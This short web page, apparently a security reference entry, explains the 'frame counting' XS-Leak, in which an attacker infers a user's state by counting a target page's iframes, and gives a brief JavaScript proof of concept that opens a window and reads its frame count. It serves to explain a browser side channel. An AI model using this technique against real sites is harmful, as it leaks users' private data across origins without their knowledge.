XS-Leak: Frame Counting
If a page loads different numbers of iframes based on the user's state (e.g., search results), an attacker can count them to infer data.
// Get a reference to the window
var win = window.open('https://example.org');
// Wait for the page to load
setTimeout(() => {
// Read the number of iframes loaded
console.log("%d iframes detected", win.length);
}, 2000);
Comments
No comments yet.